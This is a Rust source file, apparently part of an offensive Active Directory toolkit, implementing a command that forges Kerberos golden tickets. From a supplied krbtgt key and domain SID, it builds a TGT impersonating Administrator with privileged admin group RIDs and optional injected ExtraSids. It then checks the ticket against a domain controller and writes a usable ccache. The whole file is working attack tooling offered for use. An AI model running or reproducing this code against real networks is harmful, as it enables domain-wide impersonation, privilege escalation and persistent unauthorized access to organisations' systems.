use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;
#[derive(Parser)]
pub(crate) struct GoldenArgs {
#[arg(long)]
pub kdc: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub krbtgt_aes256: String,
#[arg(long)]
pub rc4: bool,
#[arg(long)]
pub domain_sid: String,
#[arg(long, default_value = "Administrator")]
pub user: String,
#[arg(long, default_value_t = 500)]
pub rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
pub groups: Vec<u32>,
#[arg(long)]
pub out: Option<String>,
#[arg(long)]
pub verify_spn: Option<String>,
#[arg(long, value_delimiter = ',')]
pub foreign_sid: Vec<String>,
}
pub(crate) async fn golden(a: GoldenArgs) -> Result<()> {
let mut checklist = ui::StageChecklist::new([
"parse krbtgt key",
"parse domain SID",
"parse foreign SIDs (ExtraSids)",
"forge golden TGT",
"verify with KDC (--verify-spn)",
"write ccache",
]);
let result = golden_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render("Golden stages"),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render("Golden stages (failed)");
}
}
result
}
async fn golden_impl(a: GoldenArgs, checklist: &mut ui::StageChecklist) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = crate::parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
checklist.record_ok(
"parse krbtgt key",
if a.rc4 {
"RC4-HMAC (NT hash)"
} else {
"AES256-CTS-HMAC-SHA1-96"
},
);
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
checklist.record_ok("parse domain SID", format!("→ {}", a.domain_sid));
let mut extras: Vec<Vec<u32>> = Vec::with_capacity(a.foreign_sid.len());
for sid_str in &a.foreign_sid {
let sid = adhammer_core::sid::Sid::parse(sid_str).ok_or_else(|| {
anyhow::anyhow!("--foreign-sid {sid_str:?} is not a valid SID (want S-1-5-21-...-RID)")
})?;
if sid.identifier_authority != 5 {
anyhow::bail!(
"--foreign-sid {sid_str} has identifier authority {} != 5; ExtraSids only \
accepts NT_AUTHORITY (S-1-5-...) forest/domain SIDs",
sid.identifier_authority
);
}
extras.push(sid.sub_authorities.clone());
}
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
extra_sids: extras,
};
if !a.foreign_sid.is_empty() {
println!(
"[+] injecting {} foreign SID(s) into PAC ExtraSids:",
a.foreign_sid.len()
);
for s in &a.foreign_sid {
println!(" {s}");
}
checklist.record_ok(
"parse foreign SIDs (ExtraSids)",
format!("{} SID(s) injected", a.foreign_sid.len()),
);
} else {
checklist.record_ok("parse foreign SIDs (ExtraSids)", "none");
}
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
checklist.record_ok(
"forge golden TGT",
format!("{}@{} (rid {})", a.user, a.realm, a.rid),
);
println!(
"[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
a.user, a.realm, a.rid, a.groups
);
if let Some(spn) = &a.verify_spn {
match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
Ok(_) => {
checklist.record_ok(
"verify with KDC (--verify-spn)",
format!("KDC accepted for {spn}"),
);
println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})");
}
Err(e) => {
checklist.record_ok(
"verify with KDC (--verify-spn)",
format!("KDC rejected for {spn}: {e}"),
);
println!("[-] KDC rejected the golden ticket for {spn}: {e}");
}
}
} else {
checklist.record_ok(
"verify with KDC (--verify-spn)",
"skipped (no --verify-spn)",
);
}
if let Some(out) = &a.out {
let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
std::fs::write(out, &cc)?;
checklist.record_ok("write ccache", format!("→ {out} ({} bytes)", cc.len()));
println!(
"[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
cc.len()
);
} else {
checklist.record_ok("write ccache", "skipped (no --out)");
}
Ok(())
}